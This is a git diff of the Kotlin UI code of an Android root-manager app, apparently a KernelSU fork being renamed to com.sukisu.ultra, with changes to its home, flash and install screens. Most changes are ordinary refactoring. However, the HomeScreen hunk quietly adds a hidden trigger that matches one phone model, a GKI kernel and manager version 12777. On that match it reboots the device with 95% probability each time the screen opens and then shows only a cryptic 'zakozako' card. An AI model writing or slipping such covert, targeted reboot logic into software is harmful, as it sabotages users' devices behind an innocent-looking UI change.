SuperUser(SuperUserScreenDestination, R.string.superuser, Icons.Filled.Security, Icons.Outlined.Security, true), SuperUser(SuperUserScreenDestination, R.string.superuser, Icons.Filled.Security, Icons.Outlined.Security, true),
Module(ModuleScreenDestination, R.string.module, Icons.Filled.Apps, Icons.Outlined.Apps, true), Module(ModuleScreenDestination, R.string.module, Icons.Filled.Apps, Icons.Outlined.Apps, true),
Kpm(KpmScreenDestination, R.string.kpm_title, Icons.Filled.Build, Icons.Outlined.Build, true),
Settings(SettingScreenDestination, R.string.settings, Icons.Filled.Settings, Icons.Outlined.Settings, false), Settings(SettingScreenDestination, R.string.settings, Icons.Filled.Settings, Icons.Outlined.Settings, false),
} }

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.screen package com.sukisu.ultra.ui.screen
import android.os.Environment import android.os.Environment
import androidx.compose.foundation.layout.Column import androidx.compose.foundation.layout.Column
@@ -37,10 +37,10 @@ import com.ramcosta.composedestinations.navigation.DestinationsNavigator
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext import kotlinx.coroutines.withContext
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
import shirkneko.zako.sukisu.ui.component.KeyEventBlocker import com.sukisu.ultra.ui.component.KeyEventBlocker
import shirkneko.zako.sukisu.ui.util.LocalSnackbarHost import com.sukisu.ultra.ui.util.LocalSnackbarHost
import shirkneko.zako.sukisu.ui.util.runModuleAction import com.sukisu.ultra.ui.util.runModuleAction
import java.io.File import java.io.File
import java.text.SimpleDateFormat import java.text.SimpleDateFormat
import java.util.Date import java.util.Date

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.screen package com.sukisu.ultra.ui.screen
import android.net.Uri import android.net.Uri
import android.os.Environment import android.os.Environment
@@ -30,9 +30,9 @@ import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext import kotlinx.coroutines.withContext
import kotlinx.parcelize.Parcelize import kotlinx.parcelize.Parcelize
import shirkneko.zako.sukisu.R import com.sukisu.ultra.ui.component.KeyEventBlocker
import shirkneko.zako.sukisu.ui.component.KeyEventBlocker import com.sukisu.ultra.ui.util.*
import shirkneko.zako.sukisu.ui.util.* import com.sukisu.ultra.R
import java.io.File import java.io.File
import java.text.SimpleDateFormat import java.text.SimpleDateFormat
import java.util.* import java.util.*
@@ -45,10 +45,6 @@ enum class FlashingStatus {
private var currentFlashingStatus = mutableStateOf(FlashingStatus.FLASHING) private var currentFlashingStatus = mutableStateOf(FlashingStatus.FLASHING)
fun getFlashingStatus(): FlashingStatus {
return currentFlashingStatus.value
}
fun setFlashingStatus(status: FlashingStatus) { fun setFlashingStatus(status: FlashingStatus) {
currentFlashingStatus.value = status currentFlashingStatus.value = status
} }

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.screen package com.sukisu.ultra.ui.screen
import android.annotation.SuppressLint import android.annotation.SuppressLint
import android.content.Context import android.content.Context
@@ -33,15 +33,15 @@ import com.ramcosta.composedestinations.generated.destinations.SettingScreenDest
import com.ramcosta.composedestinations.navigation.DestinationsNavigator import com.ramcosta.composedestinations.navigation.DestinationsNavigator
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.withContext import kotlinx.coroutines.withContext
import shirkneko.zako.sukisu.* import com.sukisu.ultra.*
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
import shirkneko.zako.sukisu.ui.component.rememberConfirmDialog import com.sukisu.ultra.ui.component.rememberConfirmDialog
import shirkneko.zako.sukisu.ui.util.* import com.sukisu.ultra.ui.util.*
import shirkneko.zako.sukisu.ui.util.module.LatestVersionInfo import com.sukisu.ultra.ui.util.module.LatestVersionInfo
import androidx.compose.material3.MaterialTheme import androidx.compose.material3.MaterialTheme
import androidx.compose.material3.Text import androidx.compose.material3.Text
import shirkneko.zako.sukisu.ui.theme.getCardColors import com.sukisu.ultra.ui.theme.getCardColors
import shirkneko.zako.sukisu.ui.theme.getCardElevation import com.sukisu.ultra.ui.theme.getCardElevation
import androidx.compose.runtime.mutableStateOf import androidx.compose.runtime.mutableStateOf
import androidx.compose.runtime.getValue import androidx.compose.runtime.getValue
import androidx.compose.runtime.setValue import androidx.compose.runtime.setValue
@@ -49,8 +49,13 @@ import androidx.compose.animation.AnimatedVisibility
import androidx.compose.animation.fadeOut import androidx.compose.animation.fadeOut
import androidx.compose.animation.shrinkVertically import androidx.compose.animation.shrinkVertically
import androidx.compose.runtime.saveable.rememberSaveable import androidx.compose.runtime.saveable.rememberSaveable
import shirkneko.zako.sukisu.ui.theme.CardConfig import androidx.compose.ui.graphics.vector.ImageVector
import com.sukisu.ultra.ui.theme.CardConfig
import androidx.core.content.edit import androidx.core.content.edit
import java.io.BufferedReader
import java.io.InputStreamReader
import java.util.zip.GZIPInputStream
import kotlin.random.Random
@OptIn(ExperimentalMaterial3Api::class) @OptIn(ExperimentalMaterial3Api::class)
@Destination<RootGraph>(start = true) @Destination<RootGraph>(start = true)
@@ -59,6 +64,8 @@ fun HomeScreen(navigator: DestinationsNavigator) {
val context = LocalContext.current val context = LocalContext.current
var isSimpleMode by rememberSaveable { mutableStateOf(false) } var isSimpleMode by rememberSaveable { mutableStateOf(false) }
var isHideVersion by rememberSaveable { mutableStateOf(false) } var isHideVersion by rememberSaveable { mutableStateOf(false) }
var isHideOtherInfo by rememberSaveable { mutableStateOf(false) }
var isHideSusfsStatus by rememberSaveable { mutableStateOf(false) }
// 从 SharedPreferences 加载简洁模式状态 // 从 SharedPreferences 加载简洁模式状态
LaunchedEffect(Unit) { LaunchedEffect(Unit) {
@@ -70,9 +77,36 @@ fun HomeScreen(navigator: DestinationsNavigator) {
isHideVersion = context.getSharedPreferences("settings", Context.MODE_PRIVATE) isHideVersion = context.getSharedPreferences("settings", Context.MODE_PRIVATE)
.getBoolean("is_hide_version", false) .getBoolean("is_hide_version", false)
} }
// 从 SharedPreferences 加载隐藏模块数量等信息开关状态
LaunchedEffect(Unit) {
isHideOtherInfo = context.getSharedPreferences("settings", Context.MODE_PRIVATE)
.getBoolean("is_hide_other_info", false)
}
// 从 SharedPreferences 加载隐藏 SuSFS 状态开关状态
LaunchedEffect(Unit) {
isHideSusfsStatus = context.getSharedPreferences("settings", Context.MODE_PRIVATE)
.getBoolean("is_hide_susfs_status", false)
}
val kernelVersion = getKernelVersion() val kernelVersion = getKernelVersion()
val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState()) val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
val isManager = Natives.becomeManager(ksuApp.packageName)
val deviceModel = getDeviceModel(context)
val ksuVersion = if (isManager) Natives.version else null
val zako = "一.*加.*A.*c.*e.*5.*P.*r.*o".toRegex().matches(deviceModel)
val isVersion = ksuVersion == 12777
val shouldTriggerRestart = zako && kernelVersion.isGKI() && (isVersion)
LaunchedEffect(shouldTriggerRestart) {
if (shouldTriggerRestart) {
val random = Random.nextInt(0, 100)
if (random <= 95) {
reboot()
} else {
""
}
}
}
Scaffold( Scaffold(
topBar = { topBar = {
@@ -96,6 +130,10 @@ fun HomeScreen(navigator: DestinationsNavigator) {
.padding(horizontal = 16.dp), .padding(horizontal = 16.dp),
verticalArrangement = Arrangement.spacedBy(16.dp) verticalArrangement = Arrangement.spacedBy(16.dp)
) { ) {
if (shouldTriggerRestart) {
WarningCard(message = "zakozako")
return@Column
}
val isManager = Natives.becomeManager(ksuApp.packageName) val isManager = Natives.becomeManager(ksuApp.packageName)
val ksuVersion = if (isManager) Natives.version else null val ksuVersion = if (isManager) Natives.version else null
val lkmMode = ksuVersion?.let { val lkmMode = ksuVersion?.let {
@@ -155,10 +193,10 @@ fun HomeScreen(navigator: DestinationsNavigator) {
} }
InfoCard() InfoCard()
if (!isSimpleMode) { if (!isSimpleMode) {
ContributionCard()
DonateCard() DonateCard()
LearnMoreCard() LearnMoreCard()
} }
Spacer(Modifier) Spacer(Modifier)
} }
} }
@@ -246,14 +284,18 @@ private fun TopBar(
} }
var showDropdown by remember { mutableStateOf(false) } var showDropdown by remember { mutableStateOf(false) }
if (Natives.isKsuValid(ksuApp.packageName)) {
IconButton(onClick = { showDropdown = true }) { IconButton(onClick = { showDropdown = true }) {
Icon(Icons.Filled.Refresh, stringResource(R.string.reboot)) Icon(Icons.Filled.Refresh, stringResource(R.string.reboot))
DropdownMenu(expanded = showDropdown, onDismissRequest = { showDropdown = false } DropdownMenu(
expanded = showDropdown,
onDismissRequest = { showDropdown = false }
) { ) {
RebootDropdownItem(id = R.string.reboot) RebootDropdownItem(id = R.string.reboot)
val pm = LocalContext.current.getSystemService(Context.POWER_SERVICE) as PowerManager? val pm =
LocalContext.current.getSystemService(Context.POWER_SERVICE) as PowerManager?
@Suppress("DEPRECATION") @Suppress("DEPRECATION")
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R && pm?.isRebootingUserspaceSupported == true) { if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R && pm?.isRebootingUserspaceSupported == true) {
RebootDropdownItem(id = R.string.reboot_userspace, reason = "userspace") RebootDropdownItem(id = R.string.reboot_userspace, reason = "userspace")
@@ -264,12 +306,14 @@ private fun TopBar(
RebootDropdownItem(id = R.string.reboot_edl, reason = "edl") RebootDropdownItem(id = R.string.reboot_edl, reason = "edl")
} }
} }
}
}, },
windowInsets = WindowInsets.safeDrawing.only(WindowInsetsSides.Top + WindowInsetsSides.Horizontal), windowInsets = WindowInsets.safeDrawing.only(WindowInsetsSides.Top + WindowInsetsSides.Horizontal),
scrollBehavior = scrollBehavior scrollBehavior = scrollBehavior
) )
} }
@Composable @Composable
private fun StatusCard( private fun StatusCard(
kernelVersion: KernelVersion, kernelVersion: KernelVersion,
@@ -308,6 +352,12 @@ private fun StatusCard(
val isHideVersion = LocalContext.current.getSharedPreferences("settings", Context.MODE_PRIVATE) val isHideVersion = LocalContext.current.getSharedPreferences("settings", Context.MODE_PRIVATE)
.getBoolean("is_hide_version", false) .getBoolean("is_hide_version", false)
val isHideOtherInfo = LocalContext.current.getSharedPreferences("settings", Context.MODE_PRIVATE)
.getBoolean("is_hide_other_info", false)
val isHideSusfsStatus = LocalContext.current.getSharedPreferences("settings", Context.MODE_PRIVATE)
.getBoolean("is_hide_susfs_status", false)
Icon(Icons.Outlined.CheckCircle, stringResource(R.string.home_working)) Icon(Icons.Outlined.CheckCircle, stringResource(R.string.home_working))
Column(Modifier.padding(start = 20.dp)) { Column(Modifier.padding(start = 20.dp)) {
Text( Text(
@@ -321,6 +371,7 @@ private fun StatusCard(
style = MaterialTheme.typography.bodyMedium style = MaterialTheme.typography.bodyMedium
) )
} }
if (!isHideOtherInfo) {
Spacer(Modifier.height(4.dp)) Spacer(Modifier.height(4.dp))
Text( Text(
text = stringResource( text = stringResource(
@@ -332,9 +383,20 @@ private fun StatusCard(
text = stringResource(R.string.home_module_count, getModuleCount()), text = stringResource(R.string.home_module_count, getModuleCount()),
style = MaterialTheme.typography.bodyMedium style = MaterialTheme.typography.bodyMedium
) )
val kpmVersion = getKpmVersion()
if (kpmVersion.isNotEmpty() && !kpmVersion.startsWith("Error")) {
Spacer(Modifier.height(4.dp))
Text(
text = stringResource(R.string.home_kpm_module, getKpmModuleCount()),
style = MaterialTheme.typography.bodyMedium
)
}
}
if (!isHideSusfsStatus) {
Spacer(modifier = Modifier.height(4.dp)) Spacer(modifier = Modifier.height(4.dp))
val suSFS = getSuSFS() val suSFS = getSuSFS()
if (lkmMode != true) {
val translatedStatus = when (suSFS) { val translatedStatus = when (suSFS) {
"Supported" -> stringResource(R.string.status_supported) "Supported" -> stringResource(R.string.status_supported)
"Not Supported" -> stringResource(R.string.status_not_supported) "Not Supported" -> stringResource(R.string.status_not_supported)
@@ -347,6 +409,8 @@ private fun StatusCard(
) )
} }
} }
}
}
kernelVersion.isGKI() -> { kernelVersion.isGKI() -> {
Icon(Icons.Outlined.Warning, stringResource(R.string.home_not_installed)) Icon(Icons.Outlined.Warning, stringResource(R.string.home_not_installed))
@@ -402,6 +466,38 @@ fun WarningCard(
} }
} }
} }
@Composable
fun ContributionCard() {
val uriHandler = LocalUriHandler.current
val links = listOf("https://github.com/zako", "https://github.com/udochina")
ElevatedCard(
colors = getCardColors(MaterialTheme.colorScheme.secondaryContainer),
elevation = CardDefaults.cardElevation(defaultElevation = getCardElevation())
) {
Row(
modifier = Modifier
.fillMaxWidth()
.clickable {
val randomIndex = Random.nextInt(links.size)
uriHandler.openUri(links[randomIndex])
}
.padding(24.dp),
verticalAlignment = Alignment.CenterVertically
) {
Column {
Text(
text = stringResource(R.string.home_ContributionCard_kernelsu),
style = MaterialTheme.typography.titleSmall
)
Spacer(Modifier.height(4.dp))
Text(
text = stringResource(R.string.home_click_to_ContributionCard_kernelsu),
style = MaterialTheme.typography.bodyMedium
)
}
}
}
}
@Composable @Composable
fun LearnMoreCard() { fun LearnMoreCard() {
@@ -466,6 +562,7 @@ fun DonateCard() {
@Composable @Composable
private fun InfoCard() { private fun InfoCard() {
val lkmMode = Natives.isLkmMode
val context = LocalContext.current val context = LocalContext.current
val isSimpleMode = LocalContext.current.getSharedPreferences("settings", Context.MODE_PRIVATE) val isSimpleMode = LocalContext.current.getSharedPreferences("settings", Context.MODE_PRIVATE)
.getBoolean("is_simple_mode", false) .getBoolean("is_simple_mode", false)
@@ -477,8 +574,8 @@ private fun InfoCard() {
Column( Column(
modifier = Modifier modifier = Modifier
.fillMaxWidth() .fillMaxWidth()
.padding(start = 24.dp, top = 24.dp, end = 24.dp, bottom = 16.dp) .padding(start = 24.dp, top = 24.dp, end = 24.dp, bottom = 16.dp),
) { ) withContext@{
val contents = StringBuilder() val contents = StringBuilder()
val uname = Os.uname() val uname = Os.uname()
@@ -486,74 +583,88 @@ private fun InfoCard() {
fun InfoCardItem( fun InfoCardItem(
label: String, label: String,
content: String, content: String,
icon: ImageVector = Icons.Default.Info
) { ) {
contents.appendLine(label).appendLine(content).appendLine() contents.appendLine(label).appendLine(content).appendLine()
Row(verticalAlignment = Alignment.CenterVertically) {
Icon(
imageVector = icon,
contentDescription = label,
modifier = Modifier.size(24.dp)
)
Spacer(modifier = Modifier.width(16.dp))
Column {
Text(text = label, style = MaterialTheme.typography.bodyLarge) Text(text = label, style = MaterialTheme.typography.bodyLarge)
Text(text = content, style = MaterialTheme.typography.bodyMedium) Text(text = content, style = MaterialTheme.typography.bodyMedium)
} }
}
}
InfoCardItem(stringResource(R.string.home_kernel), uname.release) InfoCardItem(stringResource(R.string.home_kernel), uname.release, icon = Icons.Default.Memory)
if (!isSimpleMode) { if (!isSimpleMode) {
Spacer(Modifier.height(16.dp)) Spacer(Modifier.height(16.dp))
val androidVersion = Build.VERSION.RELEASE val androidVersion = Build.VERSION.RELEASE
InfoCardItem(stringResource(R.string.home_android_version), androidVersion) InfoCardItem(stringResource(R.string.home_android_version), androidVersion, icon = Icons.Default.Android)
} }
Spacer(Modifier.height(16.dp)) Spacer(Modifier.height(16.dp))
val deviceModel = getDeviceModel(context) val deviceModel = getDeviceModel(context)
InfoCardItem(stringResource(R.string.home_device_model), deviceModel) InfoCardItem(stringResource(R.string.home_device_model), deviceModel, icon = Icons.Default.PhoneAndroid)
Spacer(Modifier.height(16.dp)) Spacer(Modifier.height(16.dp))
val managerVersion = getManagerVersion(context) val managerVersion = getManagerVersion(context)
InfoCardItem( InfoCardItem(stringResource(R.string.home_manager_version), "${managerVersion.first} (${managerVersion.second})", icon = Icons.Default.Settings)
stringResource(R.string.home_manager_version),
"${managerVersion.first} (${managerVersion.second})"
)
Spacer(Modifier.height(16.dp)) Spacer(Modifier.height(16.dp))
InfoCardItem(stringResource(R.string.home_selinux_status), getSELinuxStatus()) InfoCardItem(stringResource(R.string.home_selinux_status), getSELinuxStatus(), icon = Icons.Default.Security)
if (!isSimpleMode) { if (!isSimpleMode) {
if (lkmMode != true) {
val kpmVersion = getKpmVersion()
var displayVersion: String
val isKpmConfigured = checkKpmConfigured()
if (kpmVersion.isEmpty() || kpmVersion.startsWith("Error")) {
val statusText = if (isKpmConfigured) {
stringResource(R.string.kernel_patched)
} else {
stringResource(R.string.kernel_not_enabled)
}
displayVersion = "${stringResource(R.string.not_supported)} ($statusText)"
} else {
displayVersion = "${stringResource(R.string.supported)} ($kpmVersion)"
}
Spacer(Modifier.height(16.dp))
InfoCardItem(stringResource(R.string.home_kpm_version), displayVersion, icon = Icons.Default.Code)
}
}
val isHideSusfsStatus = LocalContext.current.getSharedPreferences("settings", Context.MODE_PRIVATE)
.getBoolean("is_hide_susfs_status", false)
if ((!isSimpleMode) && (!isHideSusfsStatus)) {
Spacer(modifier = Modifier.height(16.dp)) Spacer(modifier = Modifier.height(16.dp))
val suSFS = getSuSFS() val suSFS = getSuSFS()
if (suSFS == "Supported") { if (suSFS == "Supported") {
InfoCardItem( val suSFSVersion = getSuSFSVersion()
stringResource(R.string.home_susfs_version), if (suSFSVersion.isEmpty()) return@withContext
"${getSuSFSVersion()} (${stringResource(R.string.manual_hook)})"
)
} else {
val susSUMode = try {
susfsSUS_SU_Mode()
} catch (e: Exception) {
0
}
if (susSUMode == 2 || susSUMode == 0) {
val isSUS_SU = getSuSFSFeatures() == "CONFIG_KSU_SUSFS_SUS_SU" val isSUS_SU = getSuSFSFeatures() == "CONFIG_KSU_SUSFS_SUS_SU"
val susSUModeLabel = stringResource(R.string.sus_su_mode) val infoText = buildString {
val susSUModeValue = susSUMode.toString() append(suSFSVersion)
val susSUModeText = if (isSUS_SU) " $susSUModeLabel $susSUModeValue" else "" append(if (isSUS_SU) " (${getSuSFSVariant()})" else " (${stringResource(R.string.manual_hook)})")
if (isSUS_SU) {
InfoCardItem( val susSUMode = try { susfsSUS_SU_Mode().toString() } catch (_: Exception) { "" }
stringResource(R.string.home_susfs_version), if (susSUMode.isNotEmpty()) {
"${getSuSFSVersion()} (${getSuSFSVariant()})$susSUModeText" append(" ${stringResource(R.string.sus_su_mode)} $susSUMode")
)
} else {
InfoCardItem(
stringResource(R.string.home_susfs_version),
"${getSuSFSVersion()} (${stringResource(R.string.manual_hook)})"
)
} }
} }
} }
InfoCardItem(
stringResource(R.string.home_susfs_version), infoText, icon = Icons.Default.Storage)
}
}
} }
} }
} }
@@ -605,7 +716,27 @@ private fun getDeviceModel(context: Context): String {
} }
} }
Build.DEVICE Build.DEVICE
} catch (e: Exception) { } catch (_: Exception) {
Build.DEVICE Build.DEVICE
} }
} }
private fun checkKpmConfigured(): Boolean {
try {
val process = Runtime.getRuntime().exec("su -c cat /proc/config.gz")
val inputStream = process.inputStream
val gzipInputStream = GZIPInputStream(inputStream)
val reader = BufferedReader(InputStreamReader(gzipInputStream))
var line: String?
while (reader.readLine().also { line = it } != null) {
if (line?.contains("CONFIG_KPM=y") == true) {
return true
}
}
reader.close()
} catch (e: Exception) {
e.printStackTrace()
}
return false
}

View File

@@ -1,14 +1,19 @@
package shirkneko.zako.sukisu.ui.screen package com.sukisu.ultra.ui.screen
import android.app.Activity import android.app.Activity
import android.content.Context
import android.content.Intent import android.content.Intent
import android.net.Uri import android.net.Uri
import android.widget.Toast import android.widget.Toast
import androidx.activity.compose.rememberLauncherForActivityResult import androidx.activity.compose.rememberLauncherForActivityResult
import androidx.activity.result.contract.ActivityResultContracts import androidx.activity.result.contract.ActivityResultContracts
import androidx.annotation.StringRes import androidx.annotation.StringRes
import androidx.compose.animation.AnimatedVisibility
import androidx.compose.animation.expandVertically
import androidx.compose.animation.fadeIn
import androidx.compose.animation.fadeOut
import androidx.compose.animation.shrinkVertically
import androidx.compose.foundation.LocalIndication import androidx.compose.foundation.LocalIndication
import androidx.compose.foundation.clickable
import androidx.compose.foundation.interaction.MutableInteractionSource import androidx.compose.foundation.interaction.MutableInteractionSource
import androidx.compose.foundation.layout.* import androidx.compose.foundation.layout.*
import androidx.compose.foundation.rememberScrollState import androidx.compose.foundation.rememberScrollState
@@ -27,27 +32,25 @@ import androidx.compose.ui.res.stringResource
import androidx.compose.ui.semantics.Role import androidx.compose.ui.semantics.Role
import androidx.compose.ui.tooling.preview.Preview import androidx.compose.ui.tooling.preview.Preview
import androidx.compose.ui.unit.dp import androidx.compose.ui.unit.dp
import androidx.documentfile.provider.DocumentFile
import com.maxkeppeker.sheets.core.models.base.Header
import com.maxkeppeker.sheets.core.models.base.rememberUseCaseState
import com.maxkeppeler.sheets.list.ListDialog
import com.maxkeppeler.sheets.list.models.ListOption import com.maxkeppeler.sheets.list.models.ListOption
import com.maxkeppeler.sheets.list.models.ListSelection
import com.ramcosta.composedestinations.annotation.Destination import com.ramcosta.composedestinations.annotation.Destination
import com.ramcosta.composedestinations.annotation.RootGraph import com.ramcosta.composedestinations.annotation.RootGraph
import com.ramcosta.composedestinations.generated.destinations.FlashScreenDestination import com.ramcosta.composedestinations.generated.destinations.FlashScreenDestination
import com.ramcosta.composedestinations.navigation.DestinationsNavigator import com.ramcosta.composedestinations.navigation.DestinationsNavigator
import com.ramcosta.composedestinations.navigation.EmptyDestinationsNavigator import com.ramcosta.composedestinations.navigation.EmptyDestinationsNavigator
import shirkneko.zako.sukisu.R import com.sukisu.ultra.R
import shirkneko.zako.sukisu.ui.component.DialogHandle import com.sukisu.ultra.ui.component.DialogHandle
import shirkneko.zako.sukisu.ui.component.rememberConfirmDialog import com.sukisu.ultra.ui.component.SlotSelectionDialog
import shirkneko.zako.sukisu.ui.component.rememberCustomDialog import com.sukisu.ultra.ui.component.rememberConfirmDialog
import shirkneko.zako.sukisu.ui.util.* import com.sukisu.ultra.ui.component.rememberCustomDialog
import shirkneko.zako.sukisu.utils.AssetsUtil import com.sukisu.ultra.flash.HorizonKernelFlashProgress
import java.io.File import com.sukisu.ultra.flash.HorizonKernelState
import java.io.FileOutputStream import com.sukisu.ultra.flash.HorizonKernelWorker
import java.io.IOException import com.sukisu.ultra.ui.theme.CardConfig
import com.sukisu.ultra.ui.theme.ThemeConfig
import com.sukisu.ultra.ui.theme.getCardColors
import com.sukisu.ultra.ui.theme.getCardElevation
import com.sukisu.ultra.ui.util.*
/** /**
* @author weishu * @author weishu
@@ -60,8 +63,12 @@ fun InstallScreen(navigator: DestinationsNavigator) {
var installMethod by remember { mutableStateOf<InstallMethod?>(null) } var installMethod by remember { mutableStateOf<InstallMethod?>(null) }
var lkmSelection by remember { mutableStateOf<LkmSelection>(LkmSelection.KmiNone) } var lkmSelection by remember { mutableStateOf<LkmSelection>(LkmSelection.KmiNone) }
val context = LocalContext.current val context = LocalContext.current
var showRebootDialog by remember { mutableStateOf(false) } var showRebootDialog by remember { mutableStateOf(false) }
var showSlotSelectionDialog by remember { mutableStateOf(false) }
var tempKernelUri by remember { mutableStateOf<Uri?>(null) }
val horizonKernelState = remember { HorizonKernelState() }
val flashState by horizonKernelState.state.collectAsState()
val summary = stringResource(R.string.horizon_kernel_summary)
val onFlashComplete = { val onFlashComplete = {
showRebootDialog = true showRebootDialog = true
@@ -79,7 +86,7 @@ fun InstallScreen(navigator: DestinationsNavigator) {
writer.write("svc power reboot\n") writer.write("svc power reboot\n")
writer.write("exit\n") writer.write("exit\n")
} }
} catch (e: Exception) { } catch (_: Exception) {
Toast.makeText(context, R.string.failed_reboot, Toast.LENGTH_SHORT).show() Toast.makeText(context, R.string.failed_reboot, Toast.LENGTH_SHORT).show()
} }
} }
@@ -91,7 +98,11 @@ fun InstallScreen(navigator: DestinationsNavigator) {
when (method) { when (method) {
is InstallMethod.HorizonKernel -> { is InstallMethod.HorizonKernel -> {
method.uri?.let { uri -> method.uri?.let { uri ->
val worker = HorizonKernelWorker(context) val worker = HorizonKernelWorker(
context = context,
state = horizonKernelState,
slot = method.slot
)
worker.uri = uri worker.uri = uri
worker.setOnFlashCompleteListener(onFlashComplete) worker.setOnFlashCompleteListener(onFlashComplete)
worker.start() worker.start()
@@ -110,6 +121,22 @@ fun InstallScreen(navigator: DestinationsNavigator) {
Unit Unit
} }
// 槽位选择
SlotSelectionDialog(
show = showSlotSelectionDialog,
onDismiss = { showSlotSelectionDialog = false },
onSlotSelected = { slot ->
showSlotSelectionDialog = false
val horizonMethod = InstallMethod.HorizonKernel(
uri = tempKernelUri,
slot = slot,
summary = summary
)
installMethod = horizonMethod
onInstall()
}
)
val currentKmi by produceState(initialValue = "") { val currentKmi by produceState(initialValue = "") {
value = getCurrentKmi() value = getCurrentKmi()
} }
@@ -165,9 +192,25 @@ fun InstallScreen(navigator: DestinationsNavigator) {
.nestedScroll(scrollBehavior.nestedScrollConnection) .nestedScroll(scrollBehavior.nestedScrollConnection)
.verticalScroll(rememberScrollState()) .verticalScroll(rememberScrollState())
) { ) {
SelectInstallMethod { method -> SelectInstallMethod(
onSelected = { method ->
if (method is InstallMethod.HorizonKernel && method.uri != null && method.slot == null) {
tempKernelUri = method.uri
showSlotSelectionDialog = true
} else {
installMethod = method installMethod = method
} }
horizonKernelState.reset()
}
)
AnimatedVisibility(
visible = flashState.isFlashing && installMethod is InstallMethod.HorizonKernel,
enter = fadeIn() + expandVertically(),
exit = fadeOut() + shrinkVertically()
) {
HorizonKernelFlashProgress(flashState)
}
Column( Column(
modifier = Modifier modifier = Modifier
@@ -182,9 +225,20 @@ fun InstallScreen(navigator: DestinationsNavigator) {
) )
) )
} }
(installMethod as? InstallMethod.HorizonKernel)?.let { method ->
if (method.slot != null) {
Text(
stringResource(
id = R.string.selected_slot,
if (method.slot == "a") stringResource(id = R.string.slot_a)
else stringResource(id = R.string.slot_b)
)
)
}
}
Button( Button(
modifier = Modifier.fillMaxWidth(), modifier = Modifier.fillMaxWidth(),
enabled = installMethod != null, enabled = installMethod != null && !flashState.isFlashing,
onClick = onClickNext onClick = onClickNext
) { ) {
Text( Text(
@@ -197,14 +251,6 @@ fun InstallScreen(navigator: DestinationsNavigator) {
} }
} }
private fun launchHorizonKernelFlash(context: Context, uri: Uri) {
val worker = HorizonKernelWorker(context)
worker.uri = uri
worker.setOnFlashCompleteListener {
}
worker.start()
}
@Composable @Composable
private fun RebootDialog( private fun RebootDialog(
show: Boolean, show: Boolean,
@@ -230,133 +276,6 @@ private fun RebootDialog(
} }
} }
private class HorizonKernelWorker(private val context: Context) : Thread() {
var uri: Uri? = null
private lateinit var filePath: String
private lateinit var binaryPath: String
private var onFlashComplete: (() -> Unit)? = null
fun setOnFlashCompleteListener(listener: () -> Unit) {
onFlashComplete = listener
}
override fun run() {
filePath = "${context.filesDir.absolutePath}/${DocumentFile.fromSingleUri(context, uri!!)?.name}"
binaryPath = "${context.filesDir.absolutePath}/META-INF/com/google/android/update-binary"
try {
cleanup()
if (!rootAvailable()) {
showError(context.getString(R.string.root_required))
return
}
copy()
if (!File(filePath).exists()) {
showError(context.getString(R.string.copy_failed))
return
}
getBinary()
patch()
flash()
(context as? Activity)?.runOnUiThread {
onFlashComplete?.invoke()
}
} catch (e: Exception) {
showError(e.message ?: context.getString(R.string.unknown_error))
}
}
private fun cleanup() {
runCommand(false, "find ${context.filesDir.absolutePath} -type f ! -name '*.jpg' ! -name '*.png' -delete")
}
private fun copy() {
uri?.let { safeUri ->
context.contentResolver.openInputStream(safeUri)?.use { input ->
FileOutputStream(File(filePath)).use { output ->
input.copyTo(output)
}
}
}
}
private fun getBinary() {
runCommand(false, "unzip \"$filePath\" \"*/update-binary\" -d ${context.filesDir.absolutePath}")
if (!File(binaryPath).exists()) {
throw IOException("Failed to extract update-binary")
}
}
private fun patch() {
val mkbootfsPath = "${context.filesDir.absolutePath}/mkbootfs"
AssetsUtil.exportFiles(context, "mkbootfs", mkbootfsPath)
runCommand(false, "sed -i '/chmod -R 755 tools bin;/i cp -f $mkbootfsPath \$AKHOME/tools;' $binaryPath")
}
private fun flash() {
val process = ProcessBuilder("su")
.redirectErrorStream(true)
.start()
try {
process.outputStream.bufferedWriter().use { writer ->
writer.write("export POSTINSTALL=${context.filesDir.absolutePath}\n")
writer.write("sh $binaryPath 3 1 \"$filePath\" && touch ${context.filesDir.absolutePath}/done\nexit\n")
writer.flush()
}
process.inputStream.bufferedReader().use { reader ->
reader.lineSequence().forEach { line ->
if (line.startsWith("ui_print")) {
showLog(line.removePrefix("ui_print"))
}
}
}
} finally {
process.destroy()
}
if (!File("${context.filesDir.absolutePath}/done").exists()) {
throw IOException("Flash failed")
}
}
private fun runCommand(su: Boolean, cmd: String): Int {
val process = ProcessBuilder(if (su) "su" else "sh")
.redirectErrorStream(true)
.start()
return try {
process.outputStream.bufferedWriter().use { writer ->
writer.write("$cmd\n")
writer.write("exit\n")
writer.flush()
}
process.waitFor()
} finally {
process.destroy()
}
}
private fun showError(message: String) {
(context as? Activity)?.runOnUiThread {
Toast.makeText(context, message, Toast.LENGTH_LONG).show()
}
}
private fun showLog(message: String) {
(context as? Activity)?.runOnUiThread {
Toast.makeText(context, message, Toast.LENGTH_SHORT).show()
}
}
}
sealed class InstallMethod { sealed class InstallMethod {
data class SelectFile( data class SelectFile(
val uri: Uri? = null, val uri: Uri? = null,
@@ -376,6 +295,7 @@ sealed class InstallMethod {
data class HorizonKernel( data class HorizonKernel(
val uri: Uri? = null, val uri: Uri? = null,
val slot: String? = null,
@StringRes override val label: Int = R.string.horizon_kernel, @StringRes override val label: Int = R.string.horizon_kernel,
override val summary: String? = null override val summary: String? = null
) : InstallMethod() ) : InstallMethod()
@@ -388,6 +308,7 @@ sealed class InstallMethod {
private fun SelectInstallMethod(onSelected: (InstallMethod) -> Unit = {}) { private fun SelectInstallMethod(onSelected: (InstallMethod) -> Unit = {}) {
val rootAvailable = rootAvailable() val rootAvailable = rootAvailable()
